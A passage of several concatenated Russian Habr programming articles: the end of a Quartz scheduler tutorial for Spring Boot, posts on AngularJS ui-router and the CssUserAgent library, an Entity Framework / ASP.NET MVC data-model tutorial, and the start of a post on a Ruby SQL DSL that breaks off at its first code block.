1. В метод, который необходимо реализовать при наследовании от `QuartzJobBean`, передается параметр `JobExecutionContext`. Через него можем получить доступ к DataMap конкретного экземпляра джобы. В данном случае воспользуемся jobDetail.jobDataMap, чтобы получать и сохранять время запуска джобы в базе.
2. Аннотация @`PersistJobDataAfterExecution` нужна, чтобы все изменения в dataMap после выполнения джобы сохранялись в БД.
3. Аннотация @`DisallowConcurrentExecution` позволяет гарантировать, что в любой момент времени будет запущено не более одного экземпляра джобы.
*Важно понимать, что аннотация относится только к джобам, запускающимся на одном инстансе приложения. При работе в кластерном режиме Quartz сам контролирует срабатывание триггеров и, с помощью блокировок в БД, осуществляет запуск джобы только на одном из инстансов приложения.*
Теперь, когда у нас есть джоба, необходимо настроить `JobDetail` и `Trigger`: чтобы `Scheduler` мог запускать выполнение джобы в соответствии с расписанием.
Чтобы иметь возможность настраивать приложение с помощью конфигурационного файла, воспользуемся возможностям Spring Boot и создадим класс `SchedulerProperties`, который будет хранить в себе некоторые параметры, необходимые для создания джобы.
```
import org.springframework.boot.context.properties.ConfigurationProperties
import org.springframework.boot.context.properties.ConstructorBinding
@ConfigurationProperties(prefix = "scheduler")
@ConstructorBinding
data class SchedulerProperties(
val permanentJobsGroupName: String = "PERMANENT",
val showTimeJobCron: String = "0 0 * * * ?"
)
```
При этом нужно добавить аннотацию @`ConfigurationPropertiesScan (basePackages = ["<Пакет с конфигурационными классами>"])`на главный класс, иначе Spring не создаст экземпляр `SchedulerProperties`.
Теперь можем добавить в нашу конфигурацию (application.yml) следующие строки:
```
scheduler:
permanent-jobs-group-name: PERMANENT
show-time-job-cron: ${SHOW_TIME_JOB_CRON:0 0 * * * ?}
```
* Параметр `permanent-jobs-group-name` понадобится, чтобы иметь возможность выделить среди всех созданных джоб только те, которые относятся к создаваемым при запуске приложения.
* Параметр `show-time-job-cron` позволит задавать расписание запуска джобы в формате крона. Подробнее об этом формате можно прочитать [в Cron Trigger Tutorial](https://www.quartz-scheduler.org/documentation/quartz-2.2.2/tutorials/crontrigger). В данном случае значением по умолчанию стоит запуск джобы в начале каждого часа. Чтобы изменить расписание, достаточно указать новое значение в переменной окружения `SHOW_TIME_JOB_CRON`.
Конфигурационный класс для настройки джобы есть. Создадим бины для JobDetail и Trigger, который в последующем используем для того, чтобы запланировать выполнение джобы с помощью Scheduler.
```
import org.quartz.*
import org.springframework.context.annotation.Bean
import org.springframework.context.annotation.Configuration
@Configuration
class ShowTimeJobConfig(
val schedulerProperties: SchedulerProperties
) {
@Bean
fun showTimeJobDetail(): JobDetail = JobBuilder
.newJob(ShowTimeJob::class.java)
.withIdentity("showTimeJob", schedulerProperties.permanentJobsGroupName)
.storeDurably()
.requestRecovery(true)
.build()
@Bean
fun showTimeTrigger(): Trigger = TriggerBuilder.newTrigger()
.forJob(showTimeJobDetail())
.withIdentity("showTimeJobTrigger", schedulerProperties.permanentJobsGroupName)
.withSchedule(CronScheduleBuilder.cronSchedule(schedulerProperties.showTimeJobCron))
.build()
}
```
В двух методах, представленных выше, происходит настройка и создание `JobDetail` и `Trigger`. Для этого используются специальные классы-билдеры: `JobDetailBuilder` и `TriggerBuilder`.
Подробнее обо всех возможностях — в документации:
* [JobBuilder](https://www.quartz-scheduler.org/api/2.3.0/index.html),
* [TriggerBuilder](https://www.quartz-scheduler.org/api/2.3.0/index.html).
Последним шагом в настройке приложение будет конфигурация класса Scheduler, а точнее, `SchedulerFactory,` отвечающего за создание `Scheduler`.
Чтобы настроить `SchedulerFactory`, используя конфигурационный файл, необходимо в application.yml (application.properties) добавить следующую конфигурацию:
```
spring:
dataSource: #Настраиваем подключение к БД
url: jdbc:h2:file:./quartz
username: sa
password: password
driver-class-name: org.h2.Driver
quartz:
job-store-type: jdbc #Указываем, что будем хранить информацию о джобах в БД, а не в памяти
jdbc:
initialize-schema: never #Мы будем инициализировать схему БД вручную, поэтому ставим never
properties:
org:
quartz:
scheduler:
instanceId: AUTO #Используев AUTO, для того, чтобы каждый новый инстанс Scheduler`a имел уникальное название.
jobStore:
driverDelegateClass: org.quartz.impl.jdbcjobstore.StdJDBCDelegate #Указываем диалект для запросов к БД
useProperties: false #Указываем, что все данные в БД будут храниться в качестве строк, а не в двоичном формате
tablePrefix: QRTZ_ #Префикс таблиц в БД
clusterCheckinInterval: 5000 #Указываем частоту сверки инстанса Scheduler с остальными инстансами в кластере
isClustered: true #Включаем режим работы в кластере
threadPool: #Указываем настройки для создания пула поток, на котором будут выполняться джобы
class: org.quartz.simpl.SimpleThreadPool
threadCount: 10
threadsInheritContextClassLoaderOfInitializingThread: true
auto-startup: false #Выключаем автоматический старт для scheduler, т.к. запуск будет выполнен вручную
```
Со всеми возможностями, по настройке можно ознакомиться [в Quartz Configuration Reference.](http://www.quartz-scheduler.org/documentation/quartz-2.3.0/configuration/)
Наконец, реализуем класс, отвечающий за создание и настройку бина Scheduler.
```
import org.quartz.*
import org.quartz.impl.matchers.GroupMatcher
import org.springframework.context.annotation.Bean
import org.springframework.context.annotation.Configuration
import org.springframework.scheduling.quartz.SchedulerFactoryBean
@Configuration
class SchedulerConfig(
val schedulerProperties: SchedulerProperties
) {
@Bean
fun scheduler(triggers: List, jobDetails: List, factory: SchedulerFactoryBean): Scheduler {
factory.setWaitForJobsToCompleteOnShutdown(true)
val scheduler = factory.scheduler
revalidateJobs(jobDetails, scheduler)
rescheduleTriggers(triggers, scheduler)
scheduler.start()
return scheduler
}
fun rescheduleTriggers(triggers: List, scheduler: Scheduler) {
triggers.forEach {
if (!scheduler.checkExists(it.key)) {
scheduler.scheduleJob(it)
} else {
scheduler.rescheduleJob(it.key, it)
}
}
}
fun revalidateJobs(jobDetails: List, scheduler: Scheduler) {
val jobKeys = jobDetails.map { it.key }
scheduler.getJobKeys(GroupMatcher.jobGroupEquals(schedulerProperties.permanentJobsGroupName)).forEach {
if (it !in jobKeys) {
scheduler.deleteJob(it)
}
}
}
}
```
Разберём подробнее, что происходит при создании бина:
1. Перед созданием scheduler устанавливаем в true флаг, отвечающий за ожидание завершения всех джоб при выключении самого scheduler.
2. Все джобы и триггеры хранятся в базе, поэтому необходимо проверить, что в БД нет джоб, которые были удалены из кода.
3. Похожую процедуру нужно выполнить и для триггеров: триггер мог измениться с последнего запуска приложения.
4. После этого выполняем запуск scheduler и возвращаем его в качестве бина, чтобы его можно было проинжектить в любое нужное место.
Теперь можем полноценно проверить работу приложения. Для этого советую изменить частоту вызова джобы, задав новый крон для переменной окружения SHOW\_TIME\_JOB\_CRON = \*/3 \* \* \* \* ?
Запускаем приложение и видим, что каждые 3 секунды в консоль выводится текущее и предыдущее время запуска джобы.
### Преимущества и недостатки Quartz
Из основных преимуществ:
1. Встроенная поддержка многоинстансного режима значительно облегчает горизонтальное масштабирование приложений.
2. Есть возможность сохранять нужные для работы данные между запусками джобы.
3. Возможность динамического создания джоб.
4. Quartz позволяет привязывать одну и ту же джобу к разным триггерам: можно создавать комплексное расписание работы джобы. Но этого момента в статье мы не коснулись.
Из недостатков:
1. Синхронизация между инстансами происходит только при помощи реляционной БД. Другие виды внешних систем не поддерживаются.
2. По сравнению с аналогами Quartz требует больше усилий и строк кода для начальной настройки приложения.
3. Если требуется запускать какую-либо джобу на каждом из инстансов одновременно, лучше использовать один из аналогов. В Quartz нет встроенной возможности для выполнения одной и той же джобы на разных инстансах одновременно.
|
https://habr.com/ru/post/685980/
| null |
ru
| null |
# Легкие контроллеры с AngularJS
*В дополнение к [этому](http://habrahabr.ru/post/221903/) посту.*
Кто не знает, есть такая штука [ui-router](http://angular-ui.github.io/ui-router/site/#/api/ui.router). Замена стандартного роутера Ангуляра. Учитывая, что в Ангуляре 2.0 [планируют](https://docs.google.com/document/d/1I3UC0RrgCh9CKrLxeE4sxwmNSBl3oSXQGt9g3KZnTJI/edit) запилить нечто подобное, вскоре этот роутер станет стандартом.
С помощью него можно строить приложение, например, так:
**Модуль main**
```
$stateProvider.state('main', {
abstract: true
views: {
'body': {
templateUrl: '/main/views/body/template.html'
},
'header@main': {
controller: 'mainBodyHeader'
templateUrl: '/main/views/body/header/template.html'
},
'footer@main': {
controller: 'mainBodyFooter'
templateUrl: '/main/views/body/footer/template.html'
}
}
});
```
`/main/views/body/template.html`
```
```
**Модуль article**
```
$stateProvider.state('article', {
parent: 'main',
abstract: true,
views: {
'content@main': {
templateUrl: '/article/views/content/template.html'
},
'navigation@article': {
controller: 'articleContentNavigation'
templateUrl: '/article/views/content/navigation/template.html'
},
'sidebar@article': {
controller: 'articleContentSidebar'
templateUrl: '/article/views/content/sidebar/template.html'
}
}
});
$stateProvider.state('article.popular', {
url: '/article/popular',
views: {
'list': {
controller: 'articleContentListPopular',
templateUrl: '/article/views/content/list/popular/template.html'
}
},
});
```
`/article/views/content/template.html`
```
```
Таким образом можно дробить приложение на сколько угодно частей.
Так же можно писать свои директивы. Если контроллеры, по большому счету, используются для уникальных вещей, то в директивы стоит заворачивать любые компоненты, встречающиеся в приложении несколько раз. У директив, кстати, могут быть свои контроллеры.
```
app.directive('demo', function () {
return {
templateUrl: '/directives/demo/template.html',
controller: 'demo'
};
});
```
Еще есть директивы `ng-include` и `ng-controller`, которые, в общем, не нужны, но могут помочь, если пользуетесь стандартным роутером.
Есть сервисы, в которые стоит выносить общий код.
Есть resolve роутера, где можно делать общие асинхронные операции, чтобы не тащить их в каждый контроллер.
К чему это я всё пишу? К тому, что проблема толстых контроллеров высосана из пальца. Используя стандартные средства можно написать сколь угодно большое приложение, где средний контроллер будет занимать 200 строчек кода.
|
https://habr.com/ru/post/222065/
| null |
ru
| null |
# Учебный курс. Создание сложной модели данных для приложения ASP.NET MVC, часть 2
Это продложение цикла статей, посвященого разработке с помощью Entity Framework и ASP.NET MVC 3. Первые главы вы можете найти по следующим ссылкам:
* [Создание модели данных Entity Framework для приложения ASP.NET MVC](http://blogs.msdn.com/b/vyunev/archive/2011/10/04/entity-framework-asp-net-mvc.aspx)
* [Реализация базовой CRUD-функциональности с Entity Framework в приложении ASP.NET MVC](http://blogs.msdn.com/b/vyunev/archive/2011/10/05/crud-entity-framework-asp-net-mvc.aspx).
* [Сортировка, фильтрация и разбиение по страницам с Entity Framework в приложении ASP.NET MVC](http://blogs.msdn.com/b/vyunev/archive/2011/10/06/entity-framework-asp-net-mvc-part4.aspx)
* [Создание сложной модели данных для приложения ASP.NET MVC](http://blogs.msdn.com/b/vyunev/archive/2011/10/07/asp-net-mvc-p6.aspx)
В предыдущих уроках вы научились работать с простой моделью данных, состоящей из трёх сущностей. В этом уроке вы добавите несколько сущностей и связей между ними и научитесь работать с аннотациями для управления классами моделей.
#### Изменения, касающиеся сущности Course
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/4338.image42_5F00_3F0F3AEA.png)
В *Models**\**Course**.**cs* замените ранее созданный код на:
```
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace ContosoUniversity.Models
{
public class Course
{
[DatabaseGenerated(DatabaseGeneratedOption.None)]
[Display(Name = "Number")]
public int CourseID { get; set; }
[Required(ErrorMessage = "Title is required.")]
[MaxLength(50)]
public string Title { get; set; }
[Required(ErrorMessage = "Number of credits is required.")]
[Range(0,5,ErrorMessage="Number of credits must be between 0 and 5.")]
public int Credits { get; set; }
[Display(Name = "Department")]
public int DepartmentID { get; set; }
public virtual Department Department { get; set; }
public virtual ICollection Enrollments { get; set; }
public virtual ICollection Instructors { get; set; }
}
}
```
##### Атрибут DatabaseGenerated
Атрибут DatabaseGenerated с параметром None, указанный для свойства CourseID, определяет то, что значение первичного ключа задаётся пользователем, а не генерируется базой данных.
```
[DatabaseGenerated(DatabaseGeneratedOption.None)]
[Display(Name = "Number")]
public int CourseID { get; set; }
```
По умолчанию Entity Framework предполагает автогенерацию первичных ключей базой данных, что и необходимо в большинстве ситуаций. Однако для сущности Course используются численные заданные пользователем значения, такие как 1000 для одного факультета, 2000 для другого и так далее.
##### Внешний ключ и Navigation Properties
Свойства-внешние ключи и navigation properties в сущности Course отражают следующие связи:
Курс ассоциирован с одним факультетом, таким образом, имеется внешний ключ DepartmentID и Department navigation property:
public int DepartmentID { get; set; }
public virtual Department Department { get; set; }
Курс может посещать неограниченное количество студентов, поэтому имеется Enrollments navigation property:
public virtual ICollection Enrollments { get; set; }
Курс может вестись различными преподавателями, поэтому имеется Instructors navigation property:
public virtual ICollection Instructors { get; set; }
#### Создание сущности Department
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/4426.image47_5F00_776D3BF5.png)
Создайте *Models**\**Department**.**cs* со следующим кодом:
```
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace ContosoUniversity.Models
{
public class Department
{
public int DepartmentID { get; set; }
[Required(ErrorMessage = "Department name is required.")]
[MaxLength(50)]
public string Name { get; set; }
[DisplayFormat(DataFormatString="{0:c}")]
[Required(ErrorMessage = "Budget is required.")]
[Column(TypeName="money")]
public decimal? Budget { get; set; }
[DisplayFormat(DataFormatString="{0:d}", ApplyFormatInEditMode=true)]
[Required(ErrorMessage = "Start date is required.")]
public DateTime StartDate { get; set; }
[Display(Name="Administrator")]
public int? InstructorID { get; set; }
public virtual Instructor Administrator { get; set; }
public virtual ICollection Courses { get; set; }
}
}
```
##### Атрибут Column
Ранее атрибут Column мы использовали для изменения маппинга имени столбца. В коде для сущности Department этот атрибут используется для изменения маппинга типа данных SQL, то есть столбец будет определён в базе данных с типом данных SQL Server:
```
[Column(TypeName="money")]
public decimal? Budget { get; set; }
```
Обычно это не нужно, потому что Entity Framework автоматически подбирает наиболее подходящий тип данных исходя из типа CLR, который определён для свойства. Допустим, CLR тип decimal станет SQL Server типом decimal. Но в данном случае вы точно знаете, что свойство будет содержать цифры, связанные с валютой, и тип money будет наиболее подходящим для этого свойства.
##### Внешний ключ и Navigation Properties
Внешними ключами и navigation properties отражены следующие связи:
Факультет может как содержать, так и не содержать администратора, и администратор всегда = преподаватель. Поэтому свойство InstructorID определено как внешний ключ для сущности Instructor, и знак вопроса после типа int указывает на то, что свойство может быть nullable. Navigation property Administrator содержит сущность Instructor:
public int? InstructorID { get; set; }
public virtual Instructor Administrator { get; set; }
Факультет может иметь множество курсов, поэтому присутствует Courses navigation property:
public virtual ICollection Courses { get; set; }
**Note** Конвенциями определено, что Entity Framework каскадно удаляет non-nullable внешние ключи и в случаях связи многие-ко-многим. Это может привести к итеративному каскадному удалению, вызвав исключение при запуске кода. Допустим, если не определить Department.InstructorID как nullable, вы получите следующее исключение при: "The referential relationship will result in a cyclical reference that's not allowed."
#### Изменения, связанные с сущностью Student
В *Models**\**Student**.**cs* замените код на:
```
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace ContosoUniversity.Models
{
public class Student
{
public int StudentID { get; set; }
[Required(ErrorMessage = "Last name is required.")]
[Display(Name="Last Name")]
[MaxLength(50)]
public string LastName { get; set; }
[Required(ErrorMessage = "First name is required.")]
[Column("FirstName")]
[Display(Name = "First Name")]
[MaxLength(50)]
public string FirstMidName { get; set; }
[Required(ErrorMessage = "Enrollment date is required.")]
[DisplayFormat(DataFormatString = "{0:d}", ApplyFormatInEditMode = true)]
[Display(Name = "Enrollment Date")]
public DateTime? EnrollmentDate { get; set; }
public string FullName
{
get
{
return LastName + ", " + FirstMidName;
}
}
public virtual ICollection Enrollments { get; set; }
}
}
```
#### Изменения, касающиеся сущности Enrollment
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/1373.image52_5F00_1FBC6E4A.png)
В *Models**\**Enrollment**.**cs* замените код на:
```
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace ContosoUniversity.Models
{
public class Enrollment
{
public int EnrollmentID { get; set; }
public int CourseID { get; set; }
public int StudentID { get; set; }
[DisplayFormat(DataFormatString="{0:#.#}",ApplyFormatInEditMode=true,NullDisplayText="No grade")]
public decimal? Grade { get; set; }
public virtual Course Course { get; set; }
public virtual Student Student { get; set; }
}
}
```
##### Внешние ключи и Navigation Properties
Внешние ключи и navigation properties отражают следующие связи:
Каждой сущности записи на курс соответствует один курс, поэтому присутствует внешний ключ CourseID и Course navigation property:
public int CourseID { get; set; }
public virtual Course Course { get; set; }
Каждой сущности записи на курс соответствует один студент, поэтому присутствует внешний ключ StudentID и Student navigation property:
public int StudentID { get; set; }
public virtual Student Student { get; set; }
##### Связи многие-ко-многим
Сущности Student и Course связаны друг с другом связью многие-ко-многим, и сущность Enrollment соответствует and the Enrollment entity corresponds to a many-to-many join table *with payload* in the database. Это значит, что таблица Enrollment содержит дополнительные данные помимо внешних ключей для объединённых таблиц (в нашем случае первичный ключ и свойство Grade).
На изображении ниже представлены связи в виде диаграммы сущностей, сгенерированной Entity Framework designer.
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/6404.image55_5F00_1D333C8C.png)
Линия каждой связи имеет 1 на одном конце и \* на другом, обозначая связь один-ко-многим.
Если таблица Enrollment не содержит информацию об оценках, необходимо иметь только два внешних ключа CourseID и StudentID. In that case, it would correspond to a many-to-many join table *without payload* (or a *pure join table*) in the database, and you wouldn't have to create a model class for it at all. Сущности Instructor и Course связаны подобной связью многие-ко-многим, и, как вы видите, между ними нет класса сущности:
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/4857.image58_5F00_5856F28A.png)
Хотя объединённая таблица необходима:
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/7571.image61_5F00_1B0617F6.png)
Entity Framework автоматически создаёт таблицу CourseInstructor, доступ к которой осуществляется косвенно, а именно через Instructor.Courses и Course.Instructors navigation properties.
##### Атрибут DisplayFormat
Атрибут DisplayFormat для свойства Grade определяет форматирование для элемента:
```
[DisplayFormat(DataFormatString="{0:#.#}",ApplyFormatInEditMode=true,NullDisplayText="No grade")]
public decimal? Grade { get; set; }
```
* Оценка выводится в формате "3.5" или "4.0".
* Такое же форматирование оценка имеет и в режиме.
* Если оценки нет, выводится надпись "No grade".
#### Связи на диаграмме сущностей
Диаграмма ниже демонстрирует систему связей для модели School.
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/2100.image64_5F00_37535A16.png)
Кроме связей многие-ко-многим (\*-\*) и один-ко-многим (1-\*), можно также увидеть связь один-к-нулю-или-одному (1-0..1) между сущностями Instructor и OfficeAssignment и нуль-к-одному-или-ко-многим (0..1 — \*) Department и Instructor.
#### Настройка контекста базы данных
Дальше мы добавим новые сущности в класс SchoolContext и настроим мапинг. В некоторых случаях необходимо будет использовать методы вместо атрибутов из-за того, что для некоторой функциональности атрибутов просто не сущнствует. В других случаях можно выбирать, использовать методы или атрибуты (некоторые люди предпочитают не использовать атрибуты).
Замените код в *DAL**\**SchoolContext**.**cs* на:
```
using System;
using System.Collections.Generic;
using System.Data.Entity;
using ContosoUniversity.Models;
using System.Data.Entity.ModelConfiguration.Conventions;
namespace ContosoUniversity.Models
{
public class SchoolContext : DbContext
{
public DbSet Courses { get; set; }
public DbSet Departments { get; set; }
public DbSet Enrollments { get; set; }
public DbSet Instructors { get; set; }
public DbSet Students { get; set; }
public DbSet OfficeAssignments { get; set; }
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
modelBuilder.Conventions.Remove();
modelBuilder.Entity()
.HasOptional(p => p.OfficeAssignment).WithRequired(p => p.Instructor);
modelBuilder.Entity()
.HasMany(c => c.Instructors).WithMany(i => i.Courses)
.Map(t => t.MapLeftKey("CourseID")
.MapRightKey("InstructorID")
.ToTable("CourseInstructor"));
modelBuilder.Entity()
.HasOptional(x => x.Administrator);
}
}
}
```
В методе OnModelCreating определяются следующие связи:
Один-к-нулю-или-одному между Instructor и OfficeAssignment:
modelBuilder.Entity().HasOptional(p => p.OfficeAssignment).WithRequired(p => p.Instructor);
Многие-ко-многим между Instructor и Course. Код определяет таблицу и столбцы для объединённой таблицы. Code First может настроить связь многие-ко-многим и без кода, но если вы его не вызовете, то для столбцов будут взяты стандартные имена, такие как InstructorInstructorID для InstructorID.
modelBuilder.Entity()
.HasMany(c => c.Instructors).WithMany(i => i.Courses)
.Map(t => t.MapLeftKey("CourseID")
.MapRightKey("InstructorID")
.ToTable("CourseInstructor"));
Один-к-нулю-или-одному между Department и Instructor, с помощью Department.Administrator navigation property:
modelBuilder.Entity().HasOptional(x => x.Administrator);
Для подробной информации о том, что делается «за сценой», можно прочитать [Fluent API](http://blogs.msdn.com/b/aspnetue/archive/2011/05/04/entity-framework-code-first-tutorial-supplement-what-is-going-on-in-a-fluent-api-call.aspx) в блоге ASP.NET User Education Team.
#### Заполнение базы данных тестовыми данными
Перед этим вы создавали *DAL**\**SchoolInitializer**.**cs* для заполнения базы тестовыми данными. Теперь замените старый код на новый, который учитывает присутствие новых сущностей.
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.Entity;
using ContosoUniversity.Models;
namespace ContosoUniversity.DAL
{
public class SchoolInitializer : DropCreateDatabaseIfModelChanges
{
protected override void Seed(SchoolContext context)
{
var students = new List
{
new Student { FirstMidName = "Carson", LastName = "Alexander", EnrollmentDate = DateTime.Parse("2005-09-01") },
new Student { FirstMidName = "Meredith", LastName = "Alonso", EnrollmentDate = DateTime.Parse("2002-09-01") },
new Student { FirstMidName = "Arturo", LastName = "Anand", EnrollmentDate = DateTime.Parse("2003-09-01") },
new Student { FirstMidName = "Gytis", LastName = "Barzdukas", EnrollmentDate = DateTime.Parse("2002-09-01") },
new Student { FirstMidName = "Yan", LastName = "Li", EnrollmentDate = DateTime.Parse("2002-09-01") },
new Student { FirstMidName = "Peggy", LastName = "Justice", EnrollmentDate = DateTime.Parse("2001-09-01") },
new Student { FirstMidName = "Laura", LastName = "Norman", EnrollmentDate = DateTime.Parse("2003-09-01") },
new Student { FirstMidName = "Nino", LastName = "Olivetto", EnrollmentDate = DateTime.Parse("2005-09-01") }
};
students.ForEach(s => context.Students.Add(s));
context.SaveChanges();
var instructors = new List
{
new Instructor { FirstMidName = "Kim", LastName = "Abercrombie", HireDate = DateTime.Parse("1995-03-11") },
new Instructor { FirstMidName = "Fadi", LastName = "Fakhouri", HireDate = DateTime.Parse("2002-07-06") },
new Instructor { FirstMidName = "Roger", LastName = "Harui", HireDate = DateTime.Parse("1998-07-01") },
new Instructor { FirstMidName = "Candace", LastName = "Kapoor", HireDate = DateTime.Parse("2001-01-15") },
new Instructor { FirstMidName = "Roger", LastName = "Zheng", HireDate = DateTime.Parse("2004-02-12") }
};
instructors.ForEach(s => context.Instructors.Add(s));
context.SaveChanges();
var departments = new List
{
new Department { Name = "English", Budget = 350000, StartDate = DateTime.Parse("2007-09-01"), InstructorID = 1 },
new Department { Name = "Mathematics", Budget = 100000, StartDate = DateTime.Parse("2007-09-01"), InstructorID = 2 },
new Department { Name = "Engineering", Budget = 350000, StartDate = DateTime.Parse("2007-09-01"), InstructorID = 3 },
new Department { Name = "Economics", Budget = 100000, StartDate = DateTime.Parse("2007-09-01"), InstructorID = 4 }
};
departments.ForEach(s => context.Departments.Add(s));
context.SaveChanges();
var courses = new List
{
new Course { CourseID = 1050, Title = "Chemistry", Credits = 3, DepartmentID = 3, Instructors = new List() },
new Course { CourseID = 4022, Title = "Microeconomics", Credits = 3, DepartmentID = 4, Instructors = new List() },
new Course { CourseID = 4041, Title = "Macroeconomics", Credits = 3, DepartmentID = 4, Instructors = new List() },
new Course { CourseID = 1045, Title = "Calculus", Credits = 4, DepartmentID = 2, Instructors = new List() },
new Course { CourseID = 3141, Title = "Trigonometry", Credits = 4, DepartmentID = 2, Instructors = new List() },
new Course { CourseID = 2021, Title = "Composition", Credits = 3, DepartmentID = 1, Instructors = new List() },
new Course { CourseID = 2042, Title = "Literature", Credits = 4, DepartmentID = 1, Instructors = new List() }
};
courses.ForEach(s => context.Courses.Add(s));
context.SaveChanges();
courses[0].Instructors.Add(instructors[0]);
courses[0].Instructors.Add(instructors[1]);
courses[1].Instructors.Add(instructors[2]);
courses[2].Instructors.Add(instructors[2]);
courses[3].Instructors.Add(instructors[3]);
courses[4].Instructors.Add(instructors[3]);
courses[5].Instructors.Add(instructors[3]);
courses[6].Instructors.Add(instructors[3]);
context.SaveChanges();
var enrollments = new List
{
new Enrollment { StudentID = 1, CourseID = 1050, Grade = 1 },
new Enrollment { StudentID = 1, CourseID = 4022, Grade = 3 },
new Enrollment { StudentID = 1, CourseID = 4041, Grade = 1 },
new Enrollment { StudentID = 2, CourseID = 1045, Grade = 2 },
new Enrollment { StudentID = 2, CourseID = 3141, Grade = 4 },
new Enrollment { StudentID = 2, CourseID = 2021, Grade = 4 },
new Enrollment { StudentID = 3, CourseID = 1050 },
new Enrollment { StudentID = 4, CourseID = 1050, },
new Enrollment { StudentID = 4, CourseID = 4022, Grade = 4 },
new Enrollment { StudentID = 5, CourseID = 4041, Grade = 3 },
new Enrollment { StudentID = 6, CourseID = 1045 },
new Enrollment { StudentID = 7, CourseID = 3141, Grade = 2 },
};
enrollments.ForEach(s => context.Enrollments.Add(s));
context.SaveChanges();
var officeAssignments = new List
{
new OfficeAssignment { InstructorID = 1, Location = "Smith 17" },
new OfficeAssignment { InstructorID = 2, Location = "Gowan 27" },
new OfficeAssignment { InstructorID = 3, Location = "Thompson 304" },
};
officeAssignments.ForEach(s => context.OfficeAssignments.Add(s));
context.SaveChanges();
}
}
}
```
Обратите внимание на обработку сущности Course, которая связана связью многие-ко-многим с сущностью Instructor:
```
var courses = new List
{
new Course { CourseID = 1050, Title = "Chemistry", Credits = 3, DepartmentID = 3, Instructors = new List() },
...
};
courses.ForEach(s => context.Courses.Add(s));
context.SaveChanges();
courses[0].Instructors.Add(instructors[0]);
...
context.SaveChanges();
```
При создании объекта Course как пустая коллекция (Instructors = new List()), что делает возможным добавление сущностей Instructor, связанных с Course, с помощью метода Instructor.Add(). Если вы не создали пустой List, у вас не получится добавлять подобные отношения, потому что свойство Instructors будет равно null и не будет иметь метода Add.
**Note** Не забывайте перед развертыванием проекта на production-сервер удалять весь код инициализации базы.
#### Удаление и пересоздание базы данных
Запустите проект и выберите страницу Student Index.
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/7485.image67_5F00_4489BD5C.png)
Страница выглядит также как выглядела раньше, но «за сценой» база данных была удалена и пересоздана.
Если страница не открывается или вы получаете ошибку о том, что файл School.sdf уже используется (изображение ниже), необходимо еще раз открыть Server Explorer и закрыть подключение к базе и затем попробовать снова открыть страницу.
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/5023.image70_5F00_5FFE9992.png)
После этого откройте базу в Server Explorer и посмотрите в Tables новые таблицы.
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/2100.image75_5F00_1DCB0B42.png)
Кроме EdmMetadata обратите внимание на таблицу, для которой вы не создавали класса CourseInstructor. Это объединённая из Instructor и Course таблица.
Щелкните на таблице CourseInstructor и нажмите **Show Table Data** чтобы убедиться в наличии данных, добавленных ранее Course.Instructors navigation property.
[](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-06-metablogapi/3201.image80_5F00_4CCD4719.png)
Теперь у вас есть сложная модель данных и соответствующая база данных. Дальше мы научимся разным способам обращения к данным.
#### Благодарности
Благодарим за помощь в переводе Александра Белоцерковского ([ahriman](http://habrahabr.ru/users/ahriman/)).
|
https://habr.com/ru/post/134160/
| null |
ru
| null |
# Библиотека CssUserAgent
На просторах англоязычного интернета наткнулся на javascript библиотеку с говорящим названием [CssUserAgent](http://cssuseragent.org). Если говорить вкратце, то при загрузке страницы на тег *html* навешиваются классы следующего вида:
`ua-*browsername*
ua-*browsername-major*
ua-*browsername-major-minor*
ua-*browsername-major-minor-build*
ua-*browsername-major-minor-build-revision*`
Под катом описание профита.
Как я уже сказал, при загрузке страницы с данным скриптом на тег *html* навешивается ряд классов, пример можно посмотреть по [ссылке](http://cssuseragent.org/test/demo.html). Лично для меня результат был таков:
```
…
…
```
Для мобильных браузеров дополнительно будет добавлена еще пара классов:
```
…
```
Что же кроме лишнего кода мы получим?
Во-первых, нам доступен объект *cssua.userAgent*, имевший в моем случае следующий вид:
```
cssua.userAgent = { webkit: "534.15", chrome: "10.0.612.3" };
```
Так что теперь можно легко и просто определять как версию IE:
```
if (cssua.userAgent.ie < 8) { /* немного магии */ }
```
так и мобильные браузеры
```
if (cssua.userAgent.mobile) { /* еще немного магии */ }
```
А во-вторых, немного проще становится работа с css-кодом, который может зависеть от браузера:
```
.logo-area
{
background-image: url(logo.png);
background-repeat: no-repeat;
background-position: left top;
}
/* для IE 5.0, 5.5, 6.0 */
.ua-ie-5 .logo-area,
.ua-ie-6 .logo-area
{
/* версии IE < 7.0 плохо работают с 24-битными PNG */
background-image: url(logo.gif);
}
```
Надеюсь, эта библиотека окажется вам полезной!
|
https://habr.com/ru/post/111157/
| null |
ru
| null |
# Пишем SQL на чистом Ruby
Ruby — это гибкий язык, позволяющий создавать на своей основе различные [DSL](http://habrahabr.ru/blogs/ruby/48754/). Появилась идея написать DSL для SQL-запросов (для SELECT'ов), максимально приближенный к оригиналу. Кажется, получилось. Получившаяся штука называется [Boroda](http://github.com/semenov/boroda/tree/master). Далее следуют примеры кода.
```
require 'boroda'
sql = Boroda.build do
